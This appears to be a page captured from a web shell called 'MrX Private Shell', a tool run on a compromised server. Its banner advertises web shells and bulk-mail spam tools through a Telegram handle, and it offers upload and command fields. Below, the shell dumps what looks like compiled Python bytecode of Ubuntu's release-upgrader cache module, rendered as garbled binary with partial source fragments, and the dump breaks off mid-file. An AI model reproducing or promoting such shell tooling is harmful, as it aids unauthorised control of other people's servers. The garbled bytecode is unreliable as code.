__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�E�g_���X�SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKJrJ
r
 SSKJr SSKJr SSKJr "SS\5r"S	S
\5r"SS\5r"S
S\5rSr\"5urr"SS\5r"SS\5r"SS\R>5r g)�N)�Popen�PIPE�)�gettext)�ngettext)�
inside_chrootc��\rSrSrSrg)�CacheException�(�N��__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��>/usr/lib/python3/dist-packages/DistUpgrade/DistUpgradeCache.pyr
r
(���rr
c��\rSrSrSrg)�CacheExceptionLockingFailed�,rNr
rrrrr,rrrc��\rSrSrSrg)�CacheExceptionDpkgInterrupted�0rNr
rrrrr0rrrc�(^�\rSrSrU4SjrSrU=r$)�PackageRemovalDeniedException�4c�>�Xl[SURS35n[R"S5R	UR5(aU[SURS35-
n[
TU]U5 g)NzThe package z: is marked for removal but it is in the removal deny list.z^postgresql-[0-9]*$z�

To prevent data loss, postgresql packages are not removed automatically during the upgrade. If you are certain you no longer need z7, you can manually remove it and try the upgrade again.)�package�_�re�compile�match�super�__init__)�selfr �msg�	__class__s   �rr&�&PackageRemovalDeniedException.__init__5s��������4�<�<�.�)2�
2�
���:�:�,�-�3�3�D�L�L�A�A��1�"�"&�,�,��0-�-��
�C�	����r)r )rrrrr&r�
__classcell__)r)s@rrr4s
����rrc�J�SnSn[R"5Sn[R"SU-5H�nUSU-:Xa$U[RR	U5-
nM0URS5S:�d*URS5S:�dURS5S:�aMqU[RR	U5-
nM� US:Xa[R"S5 S	nUS:Xa[R"S
5 SnUS-
nSnUS
-U:�aUS
-nX-
nX4$)zbestimate the amount of space used by the kernel and initramfs in /boot,
including a safety margin
r�z
/boot/*%s*z/boot/initrd.img-%sz
initrd.imgz.bakz.dpkg-z>estimate_kernel_initrd_size_in_boot() returned '0' for kernel?iz>estimate_kernel_initrd_size_in_boot() returned '0' for initrd?i�
ig�������?)�os�uname�glob�path�getsize�find�logging�warning)�kernel�initrd�kver�f�
initrd_buffers     r�#estimate_kernel_initrd_size_in_bootr;Is���F�
�F�
�8�8�:�a�=�D�
�Y�Y�|�d�*�
+���%��,�,��b�g�g�o�o�a�(�(�F��f�f�\�"�a�'�1�6�6�&�>�Q�+>�����!�Q�&���b�g�g�o�o�a�(�(�F�,���{����L�	N���
��{����L�	N���
�k��F��M�
��}�}�$���
�
�
��F��=�rc�$�\rSrSrSrSrSrSrg)�FreeSpaceRequired�mz�FreeSpaceRequired object:

This exposes:
- the total size required (size_total)
- the dir that requires the space (dir)
- the additional space that is needed (size_needed)
c�(�XlX lX0lg�N)�
size_total�dir�size_needed)r'rArBrCs    rr&�FreeSpaceRequired.__init__us��$����&�rc�Z�SUR<SUR<SUR<3$)NzFreeSpaceRequired Object: Dir: z
 size_total: z size_needed: )rBrArC�r's r�__str__�FreeSpaceRequired.__str__ys1��UY�U]�U]�_c�_n�_n�pt�qA�qA�B�	Br)rBrCrAN)rrrr�__doc__r&rGrrrrr=r=ms���'�Brr=c��\rSrSrSrSrSrg)�NotEnoughFreeSpaceError�}zA
Exception if there is not enough free space for this operation

c��Xlgr@��free_space_required_list)r'rOs  rr&� NotEnoughFreeSpaceError.__init__�s��(@�%rrNN�rrrrrIr&rrrrrKrK}s
���ArrKc���\rSrSrSrSrS9Sjr\S5rSr	Sr
S	rS
rSr
\S5r\S
5r\S5r\S5rSrSrS:SjrSrSrSrS;SjrSrSrSrSrSrSrS<SjrS<Sjr S<Sjr!S<S jr"S!r#S"r$S#r%S$r&S%r'S&r(S'r)S(r*\
S)5r+S*r,S+r-\S,5r.S-r/S.r0S/r1S0r2S1r3\
S25r4S3r5S4r6S5r7S6r8S=S7jr9S8r:g)>�MyCache�r�Nc��/Ul/UlX lX0lSUlSUlXlURRSS5UlX`l	Xpl
SUlU(a-[R"5 UR5 SUl[&R(R+X5 UR-SS5UlURR1US5Ul[5SS	/[6SS
9R95SR;5UlUR?5 [RRASS
5 g![a*nS[!U5;a[#U5e[%U5eSnAff=f)NF�Distro�MetaPkgs���Tzdpkg --configure -a�RemovalDenylistFiler/z-r)�stdout�universal_newlinesrz"APT::AutoRemove::SuggestsImportant�false)!�
to_install�	to_remove�view�quirks�lock�partialUpgrade�config�getlist�metapkgs�	from_dist�to_dist�
_listsLock�apt_pkg�pkgsystem_lock�lock_lists_dir�SystemError�strrr�apt�Cacher&�getListFromFile�removal_denylist�_get_linux_metapackage�linux_metapackagerr�communicate�stripr/�_initAptLog�set)	r'rdr`ra�progressrbrgrh�es	         rr&�MyCache.__init__�sH���������	�����	�#��������+�+�H�j�A��
�"��������
5��&�&�(��#�#�%� ��	�	�	�	���4�*� &� 6� 6�x�AV� W���!%���!C�!C�D�%�!P����G�T�?�4�.2�4�4?�K�M�!�E�EJ�U�W�	
�
����������?��I���
5�(�C��F�2�7��:�:�1�!�4�4��	
5�s�+,E�
F�%F�Fc�R�[5nUH�nUR(aURR(aM1URRUR
:Xd&URRUR:XdM{URUR5 M� U$)zAreturn the packages not downloadable packages in reqreinst state )	rx�	candidate�downloadable�_pkg�
inst_state�	ReInstReq�
HoldReInstReq�add�name)r'�	reqreinst�pkgs   r�req_reinstall_pkgs�MyCache.req_reinstall_pkgs�sq���E�	��C��]�]�#�-�-�*D�*D�*D����$�$����6����$�$��(:�(:�:��
�
�c�h�h�'���rc��URn[U5S:�a�[SS[U55n[SS[U55SRU5-nUR	X45(aPUR5 /SQ[
U5-nUR5RU5 UR5 gg	)
z.check for reqreinst state and offer to fix it rzRemove package in bad statezRemove packages in bad statez�The package '%s' is in an inconsistent state and needs to be reinstalled, but no archive can be found for it. Do you want to remove this package now to continue?z�The packages '%s' are in an inconsistent state and need to be reinstalled, but no archives can be found for them. Do you want to remove these packages now to continue?�, )z
/usr/bin/dpkgz--removez--force-remove-reinstreqTF)
r��lenr�join�askYesNoQuestion�release_lock�list�getTerminal�call�get_lock)r'r`r��header�summary�cmds      r�fix_req_reinst�MyCache.fix_req_reinst�s����+�+�	��y�>�A���;�<�!�)�n�.�F�� 2�
 +�
 #�9�~�
/�26���9�1E�
F�G��$�$�V�5�5��!�!�#�O�RV�W`�Ra�a��� � �"�'�'��,��
�
���rc�n�URRSSS5n[RR	U5(d[R
"U5 [RRSU5 [RRSS5 [R"[RRUS5[R[R-[R-S5Ul
[RR5nS	U-n[R "URUR#S
55 [RRSS5 [RRS
S5 [RRSS5 g)zinit logging, create log file�Files�LogDirz/var/log/dist-upgradezDir::LogzDir::Log::Terminalzapt-term.logzapt.logi�z
Log time: %s
zutf-8zDebug::pkgProblemResolver�truezDebug::pkgDepCache::MarkerzDebug::pkgDepCache::AutoInstallN)rd�getWithDefaultr.r1�exists�makedirsrjrx�openr��O_RDWR�O_CREAT�O_APPEND�logfd�datetime�now�write�encode)r'�logdirr�r�s    rrw�MyCache._initAptLog�s�����+�+�G�X�,C�E���w�w�~�~�f�%�%��K�K��������:�v�.������/��@��W�W�R�W�W�\�\�&�)�<��Y�Y����3�b�k�k�A�5�J��
����#�#�%��!�C�'��
������V�]�]�7�3�4�	�����6��?������7��@������<�f�Erc��[US5(a@[R"UR5 [R"UR5 [R
"S5Ul[R
"S5Ul[R"URS5 [R"URS5 g)N�
old_stdoutrr-)�hasattrr.�closer��
old_stderr�dup�dup2r�rFs r�_startAptResolverLog�MyCache._startAptResolverLog�sq���4��&�&��H�H�T�_�_�%��H�H�T�_�_�%��&�&��)����&�&��)���
����
�
�A��
����
�
�A�rc���[R"S5 [R"S5 [R"URS5 [R"URS5 g)Nrr-)r.�fsyncr�r�r�rFs r�_stopAptResolverLog�MyCache._stopAptResolverLog�s<��
�����
�����
�������#�
�������#rc�^�U4SjnU$)z2decorator to ensure that the apt output is logged c�d>�USR5 T"U0UD6nUSR5 U$�Nr)r�r�)�args�kwargs�resr9s   �r�wrapper�(MyCache.withResolverLog.<locals>.wrappers7�����G�(�(�*��T�$�V�$�C���G�'�'�)��Jrr)r9r�s` r�withResolverLog�MyCache.withResolverLog�s���	�
�rc���[R"UR5n[R"5nUR	X R
UR5 UR$)z;get the size of the packages that are required to download )rj�PackageManager�	_depcache�Acquire�get_archives�_list�_records�fetch_needed)r'�pm�fetchers   r�required_download�MyCache.required_downloadsF���
#�
#�D�N�N�
3���/�/�#��
������T�]�]�;��#�#�#rc�.�URR$)z8get the size of the additional required space on the fs )r��usr_sizerFs r�additional_required_space�!MyCache.additional_required_spaces���~�~�&�&�&rc�P�URR$![a gf=f)z;get the extra size needed to install the snap replacements r)ra�extra_snap_space�AttributeErrorrFs r�#additional_required_space_for_snaps�+MyCache.additional_required_space_for_snapss+��
	��;�;�/�/�/���	��	�s��
%�%c�4�URRS:�$)zis the cache broken r)r��broken_countrFs r�	is_broken�MyCache.is_broken!s���~�~�*�*�Q�.�.rc��[RRS5S-n[R"U5UlURS:aSU-n[U5eg)NzDir::State::ListsrbrzCan not lock '%s' )rjrd�find_dirr�rir)r'r�rzs   rrl�MyCache.lock_lists_dir'sT���~�~�&�&�':�;�f�D��!�*�*�4�0����?�?�Q��$�t�+�A�-�a�0�0�rc�t�URS:�a([R"UR5 SUlgg)NrrY)rir.r�rFs r�unlock_lists_dir�MyCache.unlock_lists_dir-s*���?�?�Q���H�H�T�_�_�%� �D�O�rc��UR5 [RRX5nUR	5 U(a%UR
(a[
[S55eUS:Xa[
S5eg)zN
our own update implementation is required because we keep the lists
dir lock
zThe server may be overloadedFzAapt.cache.update() returned False, but did not raise exception?!?N)r�rorp�updaterl�release_file_download_error�IOErrorr!)r'�	fprogressr�s   rr��MyCache.update1sf��
	
�����i�i���t�/��������>�>��!�:�;�<�<��%�<��]�^�^�rc��[R"S5 UR(aUR5 [R
R
XU5 g)Nzcache.commit())r4�inforbr�rorp�commit)r'r��	iprogresss   rr��MyCache.commit@s6�����%�&��9�9������	�	����)�4rc���UR(a[R"5 SUlgg![a#n[R
"SU-5 SnAgSnAff=f)NFzfailed to SystemUnLock() (%s) )rbrj�pkgsystem_unlockrmr4�debug�r'rzs  rr��MyCache.release_lockFsP���9�9�
D��(�(�*�!��	����
D��
�
�>��B�C�C��
D���1�
A�A�Ac���UR(d[R"5 SUlgg![a#n[R
"SU-5 SnAgSnAff=f)NTzfailed to SystemLock() (%s) )rbrjrkrmr4r�r�s  rr��MyCache.get_lockNsP���y�y�
B��&�&�(� ��	����
B��
�
�<�q�@�A�A��
B�r�c��U(a&URRUR5nOURRnUS:Xa*[R
"SUR<SU<S35 gUR$)z)check if the given pkg can be downloaded Nzno version information for 'z' (useCandidate=�)F)r��get_candidate_verr�current_verr4r5r�r~)r'r��useCandidate�vers    rr~�MyCache.downloadableVs[����.�.�2�2�3�8�8�<�C��(�(�&�&�C��$�;��O�O�SV�S[�S[�]i�j�k�����rc�6�URR5$)zQtry to fix broken dependencies on the system, may throw
SystemError when it can't)r��
fix_brokenrFs rr��MyCache.fix_brokenas���~�~�(�(�*�*rc�L�/Ul/UlUR5H�nUR(dUR(a%URRUR5 UR(dM]URRUR5 M� g)z)create a snapshot of the current changes N)r^r_�get_changes�marked_install�marked_upgrade�appendr��
marked_delete)r'r�s  r�create_snapshot�MyCache.create_snapshotfsl���������#�#�%�C��!�!�S�%7�%7����&�&�s�x�x�0�� � � ����%�%�c�h�h�/�	&rc�8�URR5 gr@)r��initrFs r�clear�
MyCache.clearps�������rc��[R"UR5nU UR5 URHnXnUR5 M URHnXnURSSS9 M g)zrestore a snapshot F)�auto_fix�	auto_instN)rj�ActionGroupr�rr_�mark_deleter^�mark_install)r'�actiongroupr�r�s    r�restore_snapshot�MyCache.restore_snapshotssm���)�)�$�.�.�9��	��
�
���N�N�D��*�C��O�O��#��O�O�D��*�C����e�u��=�$rc��URRSS5nUH�nX ;a.XR(a[R"SU-5  gSnURRUS5HnX4U;=(a XR-nM! U(dM�[R"SU-5  g [R"S5 g)	a+
This checks if we run on a desktop or a server install.

A server install has more freedoms, for a desktop install
we force a desktop meta package to be install on the upgrade.

We look for a installed desktop meta pkg and for key
dependencies, if none of those are installed we assume
server mode
rWrXz@need_server_mode(): run in 'desktop' mode, (because of pkg '%s')FT�KeyDependencieszIneed_server_mode(): run in 'desktop' mode, (because of key deps for '%s')z[need_server_mode(): can not find a desktop meta package or key deps, running in server mode)rdre�is_installedr4r�)r'rf�key�
deps_foundr�s     r�need_server_mode�MyCache.need_server_mode�s����;�;�&�&�x��<���C��{�t�y�5�5��
�
�`�cf�f�g���J��{�{�*�*�3�0A�B���T�k�D�d�i�.D�.D�D�
�C��z��
�
�i�lo�o�p���	�
�
�s�t�rc���UR(a([R"S5 UR5 gg![a' UR[
S5[
S55 gf=f)zDcheck if the cache is ok and if the required metapkgs
are installed
z$Have broken pkgs, trying to fix themzBroken packagesz�Your system contains broken packages that couldn't be fixed with this software. Please fix them first using synaptic or apt-get before proceeding.FT)r�r4r�r�rm�errorr!)r'r`s  r�coherence_check�MyCache.coherence_check�sf���>�>�

��
�
�D�E����!����
��
�
�1�.�/�!"�$@�"A�B��
�s�&;�.A,�+A,c���[R"SU<SU<S35 X;aTXR"S0UD6 XR(d-XR(d[R
"SU-5 gg)NzInstalling '�' (r�z Installing/upgrading '%s' failedFTr)r4r�rr�rr�r'r��reason�flagss    rr�MyCache.mark_install�sX���
�
��V�<�=��;��I�"�"�+�U�+��I�,�,��	�0H�0H��
�
�@�3�F�G��rc���[R"SU<SU<S35 X;aRXR(a?XR5 XR(d[R
"SU-5 gg)NzUpgrading 'rr�zUpgrading '%s' failedFT)r4r�r�mark_upgraderr�r'r�r s   rr$�MyCache.mark_upgrade�sS���
�
�s�F�;�<��;�4�9�1�1��I�"�"�$��9�+�+��
�
�5��;�<��rc�v�[R"SU<SU<S35 X;aXR"S0UD6 gg)Nz
Removing 'rr�r)r4r�r
rs    r�mark_remove�MyCache.mark_remove�s0���
�
�c�6�:�;��;��I�!�!�*�E�*�rc��[R"SU<SU<S35 X;a)URRXRS5 gg)Nz	Purging 'rr�T)r4r�r�r
rr%s   r�
mark_purge�MyCache.mark_purge�s7���
�
�S�&�9�:��;��N�N�&�&�t�y�~�~�t�<�rc��X;a:XR(a&XR(aURX5 ggggr@)rrr)r'�pkgnamer s   r�_keep_installed�MyCache._keep_installed�s:���O��
�*�*��
�+�+����g�.�,�+�
rc	���URRSS5HnURUS5 M URHjnX ;dM
XR(dXR
(dM2URRUS5HnURUSU-5 M Ml [R"S5 URRSS5H�nUH�nUR(dMURR(dM3UR(dMFURRU:XdMbURURSU-5 M� M� URH�nX ;dM
XR(dXR
(dM2URRUS5H�nUH�nUR(dMURR(dM3UR(dMFURRU:XdMbURURU<SU<35 M� M� M� g	)
zNrun after the dist-upgrade to ensure that certain
packages are kept installed rW�KeepInstalledPkgszDistro KeepInstalledPkgs rulez%s KeepInstalledPkgs rulez"Running KeepInstalledSection rules�KeepInstalledSectionz$Distro KeepInstalledSection rule: %sz KeepInstalledSection rule: N)
rdrer/rfrr�r4r�r}r~r�sectionr�)r'r.rr4r�s     r�keep_installed_rule�MyCache.keep_installed_rule�s����{�{�*�*�8�5H�I�G�� � ��*I�J�J��=�=�C��{��	� 6� 6� $�	� 8� 8� 8�#�{�{�2�2�3�8K�L�G��(�(��2M�PS�2S�T� M�!�	�
�
�:�;��{�{�*�*�8�5K�L�G����M�M�M�c�m�m�&@�&@�&@��)�)�)��
�
�-�-��8��(�(����3Y�\c�3c�d�	�M��=�=�C��{��	� 6� 6� $�	� 8� 8� 8�#�{�{�2�2�3�8N�O�G�#���M�M�M�c�m�m�.H�.H�.H� #� 1� 1� 1��M�M�1�1�W�<� �0�0����ad�fm�;n�o�	 $� P�!rc�\�UR(dURR5 gg)z-run before the upgrade was done in the cache N)rcra�PreDistUpgradeCacherFs r�pre_upgrade_rule�MyCache.pre_upgrade_rule�s"���"�"��K�K�+�+�-�#rc
�.�SUR4SUR4SUR4SUR44H�upURRSSU-5HnU"USU-5 M URHhnX@;dM
XR(dXR(dM2URRUSU-5HnU"X4<SU<S	35 M Mj M� UR(dURR5 g
g
)z,run after the upgrade was done in the cache �Install�Upgrade�Remove�PurgerWz
PostUpgrade%szDistro PostUpgrade%s rulez PostUpgradez ruleN)rr$r(r+rdrerfrr�rcra�PostDistUpgradeCache)r'�rule�actionr�rs     r�post_upgrade_rule�MyCache.post_upgrade_rule�s��� )�4�+<�+<�=� )�4�+<�+<�=� (�$�*:�*:�;� '����9�;�N�T�
�{�{�*�*�8�_�t�5K�L���s�7�$�>�?�M��}�}���;�D�I�$:�$:�$(�I�$<�$<�$<�#�{�{�2�2�3��$�8N�O���s�s�D�$I�J� P�%�;��"�"��K�K�,�,�.�#rc��[R"S5 SSKJn U"SS9nURH1nX@;dM
XR(dMURUS	5  O [R"S
5 gUR5n[R"SU-5 XP;a[R"SU-5 gXR(d?XR(d,XR5 [R"S
U-5 gg![[
4a#n[R"SU-5 SnAgSnAff=f![ a#n[R"SU-5 SnAgSnAff=f)zB
this checks for nvidia hardware and checks what driver is needed
znvidiaUpdate()r)�NvidiaDetectionz%NvidiaDetector can not be imported %sNFz./ubuntu-drivers-obsolete.pkgs)�obsoletezold nvidia driverz1no old nvidia driver installed, installing no newznv.selectDriver() returned '%s'z
no '%s' foundz,installing %s as suggested by NvidiaDetectorTz$NvidiaDetection returned a error: %s)r4r��NvidiaDetector.nvidiadetectorrF�ImportError�SyntaxErrorr�oldPackagesrr(r��selectDriverr5r�rr�	Exception)r'rFrz�nv�	oldDriver�drivers      r�checkForNvidia�MyCache.checkForNvidiasB��	�
�
�&�'�	�E�	F�!�*J�K�B� �^�^�	��$���)E�)E�)E��$�$�Y�0C�D��,�
���P�Q���_�_�&�F��M�M�;�f�D�E��>�����&� 8�9���L�/�/�4�<�3N�3N���)�)�+����K�f�T�U����=�[�)�	�
�M�M�A�A�E�F���		��8�	F��M�M�@�1�D�E�E���	F�sG�D�E�E�,E�=AE�AE�E�(E�E�
E;�E6�6E;c�b�[R"SUR-5 URRS5un n[
S/[S9R5SnS	U;a[R"S
5 g![a#n[R
"SU-5 SnAgSnAff=f)zOcheck for the running kernel and try to ensure that we have
an updated version
zKernel uname: '%s' �-z/Can't parse kernel uname: '%s' (self compiled?)NF�dmesg)r[rsWARNING: NR_CPUS limitzUP kernel on SMP system!?!T)	r4r�r/�splitrMr5rrru)r'�versionr!rzrUs     r�checkForKernel�MyCache.checkForKernel5s���	�
�
�+�d�j�j�8�9�	�"�j�j�.�.�s�3�O�W�a��
�w�i��-�9�9�;�A�>��$��-��M�M�6�7����	��O�O�M�PQ�Q�R���	�s�B�
B.�B)�)B.c��SnURRSS5nUGH%nURRR	UR
5nU(a5URS:Xa%[R"SUR-5 MoUR(dM�URR(dM�UR(aM�UR(aM�URU;dM�SUR;dM�URRU;dGMURURSU-5 GM( g)N)�requiredrW�RemoveEssentialOkrzPackage %s has no priority set�:z;priority in required set '%s' but not scheduled for install)rdre�_pcacher�r�r�priorityr4rr�r}r~rr�r)r'�need�removeEssentialOkr�r�s     r�
checkPriority�MyCache.checkPriorityEs����� �K�K�/�/��:M�N���C��+�+�'�'�9�9�#�(�(�C�C��s�|�|�q�(��
�
�>����I�J���
�
�
�#�-�-�"<�"<�"<��%�%�%��);�);�);��H�H� 1�1��3�8�8�O��
�
�&�&�$�.��!�!�#�(�(�,i�lp�,p�q�rc�&�SnUR5(a[US-S:XaUR5 UR5 [R"S5 US-
nUR5(aM[URSS9 UR5 g)Nr�g{�G�z�?rT)�finished)�locked�
pulseProgress�
processEvents�time�sleep)r'r`rb�is    r�	updateGUI�MyCache.updateGUIZsv��
���k�k�m�m��2�v��{��"�"�$���� ��J�J�t��
��F�A��k�k�m�m�	
���D��)����rc�P�[R"5nUR5 [R"URUR
U4S9nUR
5 UR5 URU5 U(dURU5 URS5 UR5 UR5 [5(a[R"S5 OUR!5 UR#5 UR%5 UR'5 UR((a-[+[-S5SR/SU55-5eUR?5 UR/5 /n
/nURA5GHenURB(aMURD(a�URGURH5 URJRLH�n
[NRP"U
RRURTRV5S:dM>U
RXHbup�URZR\R_U5nU(dM3UR`(aMFU
RGURH5  M� M� GMURbRdnSnUHnUURf-nM U(aGMJU
RGURH5 GMh URhRkSS5nU(a[R"S5 g[qU5S:�a8URs5 [R:"SSR/U5-5 [qU
5S:�a�U
Rs5 [R:"SSR/U
5-5 UR95 UR;[-S5[-S5SR/U
55 UR=5 gg![*[04Ga%n[-S5nUR35nU(aU[-S5-
nOm[5U[05(aU[7U5S	--
nOFU(a#U[-S
5-
nUSR/U5-
nOU[-S5-
nU[-S
5-
nUR95 UR;[-S5U5 [7U5n	[R:"SU	5 UR=5 SnAUR?5 UR/5 gSnAff=f!UR?5 UR/5 f=f![lRna GNYf=f)N)�targetr�Tz5skipping kernel checks because we run inside a chrootz!Broken packages after upgrade: %sr�c3�# �UH4oR(dUR(dM&URv� M6 g7fr@)�is_inst_broken�
is_now_brokenr�)�.0�ps  r�	<genexpr>�&MyCache.distUpgrade.<locals>.<genexpr>�s<���UR�ei�`a�m}�m}�BC�BQ�BQ�U[�UV�U[�U[�ei�s�%>�>zBAn unresolvable problem occurred while calculating the upgrade.

 z@This is most likely a transient problem, please try again later.z

z�This may be caused by unofficial packages installed on the system. Please try replacing the following packages with official versions from the Ubuntu archive, and then try the upgrade again.

�
z�If none of this applies, then please report this bug using the command 'ubuntu-bug ubuntu-release-upgrader-core' in a terminal. z�If you want to investigate this yourself the log files in '/var/log/dist-upgrade' will contain details about the upgrade. Specifically, look at 'main.log' and 'apt.log'.zCould not calculate the upgradezDist-upgrade failed: '%s'FrrW�AllowUnauthenticatedzAllowUnauthenticated set!z!Packages to downgrade found: '%s'� z$Unauthenticated packages found: '%s'z"Error authenticating some packagesz�It was not possible to authenticate some packages. This may be a transient network problem. You may want to try again later. See below for a list of unauthenticated packages.):�	threading�Lock�acquire�Threadrmr`�startr9�_keepBaseMetaPkgsInstalled�_installMetaPkgs�upgraderbr5rr4r5rXrQrC�_verifyChangesr�rmr!r�r�foreign_packages�
isinstancernr�rr��releaser�r�marked_downgraderr�r�version_listrj�version_compare�ver_str�	installedrW�	file_listr^r��
find_index�
is_trustedr}�origins�trustedrd�
getboolean�configparser�
NoOptionErrorr��sort)r'r`�
serverModercrb�trz�detailsr��	error_msg�	untrusted�	downgrader�r��verFileIter�index�	indexfiler�r��origin�bs                     r�distUpgrade�MyCache.distUpgradees����~�~����������D�N�N�$�)�)�T�9K�L��	���	�R	��!�!�#�
�+�+�D�1���%�%�d�+�
�L�L���
��� �
�$�$�&������� W�X��#�#�%�
���!�
�"�"�$�
���!��~�~�!�!�$G�"H�4�9�9�UR�ei�UR�LR�#R�S�S��\
�L�L�N�
�F�F�H��	��	��#�#�%�C�� � ���#�#�� � ����*��8�8�0�0�C��.�.����S�]�]�%:�%:�<�>?�@�47�M�M�0�[�(+���(9�(9�(D�(D�[�(Q�I�(�y��1E�1E�1E� )� 0� 0���� :� %�	5B�	1���m�m�+�+�G��G�!���6�>�>�)��"��7�� � ����*�-&�0	����&�&�x�1G�H�A����� ;�<���
�y�>�A���N�N���M�M�=��(�(�9�-�.�
/��y�>�A���N�N���M�M�@��(�(�9�-�.�
/�
�$�$�&��J�J�q�=�>��=�>��y�y��+�
-�
�%�%�'����I�:�;�(	��9�:�G� $�4�4�6����1�7�8�8���A�<�=�=��3�q�6�F�?�*��!��1�1�����4�9�9�%5�6�6���1�e�f�f���1�O�P�P��

�$�$�&��J�J�q�:�;�W�E��A��I��M�M�5�y�A�
�%�%�'��
�L�L�N�
�F�F�H��Y(	��V
�L�L�N�
�F�F�H��D�)�)�	��	�s>�"DP/�9V
�/U%�C;U �;U(� U%�%U(�("V
�
V%�$V%c��[RRS5nURRSS5nUR	5GH	nUR
(aVUR
UR5(a6[R"SUR5 [UR5eUR
(dM~URRS:XdM�URRUS4;dM�URU;dM�[R"SUR5 [[!S5UR-5e URRSS	5nUH�nUR#S
5upgX`;dMXR$(dM2XR$R&U:XdMPXR((dXR*(dMx[[!S5U-5e g)zdthis function tests if the current changes don't violate
our constraints (deny listed removals etc)
zAPT::ArchitecturerWr\zHThe package '%s' is marked for removal but it's in the removal deny listT�allzDThe package '%s' is marked for removal but it's an ESSENTIAL packagez1The essential package '%s' is marked for removal.�BadVersionsr!z*Trying to install deny listed version '%s')rjrdr3rer�r�_inRemovalDenylistr�r4r�rr�	essentialr��architecturermr!rVr}rWr�r)r'�	main_archrar��badVersions�bvr.r�s        rr��MyCache._verifyChanges�s����N�N�'�'�(;�<�	� �K�K�/�/��:M�N���#�#�%�C�� � �T�%<�%<�S�X�X�%F�%F��
�
�h�jm�jr�jr�s�3�C�H�H�=�=�� � � ��H�H�&�&�$�.��M�M�.�.�9�e�2D�D����$5�5��
�
�d�fi�fn�fn�o�!�!�$W�"X�[^�[c�[c�"c�d�d�&��k�k�)�)�(�M�B���B��X�X�c�]�N�W���D�M�$;�$;�$;��
�'�'�/�/�3�6���-�-���-�-�-�!�!�$P�"Q�TV�"V�W�W�
�rc��URRRUR5nUc[	SUR
5 gURc'[	SURR5-5 gURRS5up4URRRX445 g)z�
helper to make sure that the pkg._records is pointing to the right
location - needed because python-apt 0.7.9 dropped the python-apt
version but we can not yet use the new version because on upgrade
the old version is still installed
zNo candidate ver: FzNo file_list for: %s rT)
r^r�r�r�printr�r��popr��lookup)r'r�r�r9r�s     r�_lookupPkgRecord�MyCache._lookupPkgRecords����k�k�#�#�5�5�c�h�h�?���;��&����1���=�=� ��)�D�I�I�N�N�,<�<�=���=�=�$�$�Q�'��������#�#�Q�J�/�rc���0n[5nUH�nURU5(d%[R"SUR-5 M>UR
RRRS5H}nURS5(dMU[S5SRS5HAnUR5nXQ;a[5X'XRUR5 MC M M� UHdnSnURRSS5nXW;aSnXHnXR(aMSn O U(dMSURU5 Mf U$)	Nz&no PkgRecord found for '%s', skipping rx�Task:�,TrW�IgnoredTasksF)rxr�r4r�r�r^r��recordrV�
startswithr�rvr�rdrer)	r'�tasks�installed_tasksr��line�taskr��
ignored_tasksr.s	         r�installedTasks�MyCache.installedTasks&s5�����%���C��(�(��-�-��
�
�F����Q�R�����,�,�3�3�9�9�$�?���?�?�7�+�+�!%�c�'�l�m�!4� ;� ;�C� @��#�z�z�|���,�*-�%�E�K��������1�	!A�@�	��D��I� �K�K�/�/��.�I�M��$�!�	� �;���}�1�1�1� %�I��'��y��#�#�D�)���rc��[R"S5 UGHAnUR(dUR(aM(UR	U5 [URRS5(a%URRR(d%[R"SUR-5 M�URRRRS5HfnURS5(dMU[S5SRS5H*nUR5nXA;dMUR5 M, Mh GMD g)Nzrunning installTasksr�zcan not find Record for '%s'rxr�r�T)r4r�r�rr�r�r^r�r�r5r�rVr�r�rvr)r'r�r�r�r�s     r�installTasks�MyCache.installTasksBs����
�
�,�-��C��!�!�S�%5�%5���!�!�#�&��C�K�K�0�0�(�;�;����@T�@T�@[�@[���� >���� I�J�����,�,�3�3�9�9�$�?���?�?�7�+�+�!%�c�'�l�m�!4� ;� ;�C� @��#�z�z�|���=��,�,�.�!A�@��rc�n�URRSS5HnURUS5 M g)NrW�BaseMetaPkgsz%base meta package keep installed rule)rdrer/)r'r`r�s   rr��"MyCache._keepBaseMetaPkgsInstalledSs/���;�;�&�&�x��@�C�� � ��&M�N�Arc	�^^�UU4SjnTRRSS5mTRRSS5H>nTUR5 [R"T5RTU5 M@ TH�nUT;a�TUR(alTUR(aV[R"SU-5 TUR5 [R"T5RTU5 M�M�M�M� U"5(d�[R"S	T-5 TH�nS
nTRRUS5H nXcT;=(a TUR-nM" U(dMN[R"SU-5 TUR5 [R"SU<STUR <S35  O U"5(dASR#TSS5nUR[S5[S5UTS4-5 gg
![a+n[R"SU<SU<S35 SnAGM�SnAff=f![[4aQn[R"S
U<SU<S35 UR[S5U-[S55 SnA gSnAff=f)Nc�,>�TH�nUT;dMTUnUR(a4UR(a#[R"SUR-5 UR(aUR(aTUR
(dM� g g)zU
internal helper that checks if at least one meta-pkg is
installed or marked install
z(metapkg '%s' installed but marked_deleteTF)rrr4r�r�r�)rr�rfr's  ��r�metaPkgInstalled�2MyCache._installMetaPkgs.<locals>.metaPkgInstalledYsr���
 ���$�;��s�)�C��'�'�C�,=�,=��
�
�&P�SV�S[�S[�&[�\��)�)�#�2C�2C���9�3�3�3�#� �rrWrXr�zMarking '%s' for upgradezCan't mark 'z' for upgrade (r�z$none of the '%s' meta-pkgs installedTrz!guessing '%s' as missing meta-pkgzfailed to mark 'z' for install (zCan't install '%s'z�It was impossible to install a required package. Please report this as a bug using 'ubuntu-bug ubuntu-release-upgrader-core' in a terminal.Fzmarked_install: 'z' -> '�'r�rrYzCan't guess meta-packagez�Your system does not contain a %s or %s package and it was not possible to detect which version of Ubuntu you are running.
 Please install one of the packages above first using synaptic or apt-get before proceeding.)rdrerro�ProblemResolver�protectr�
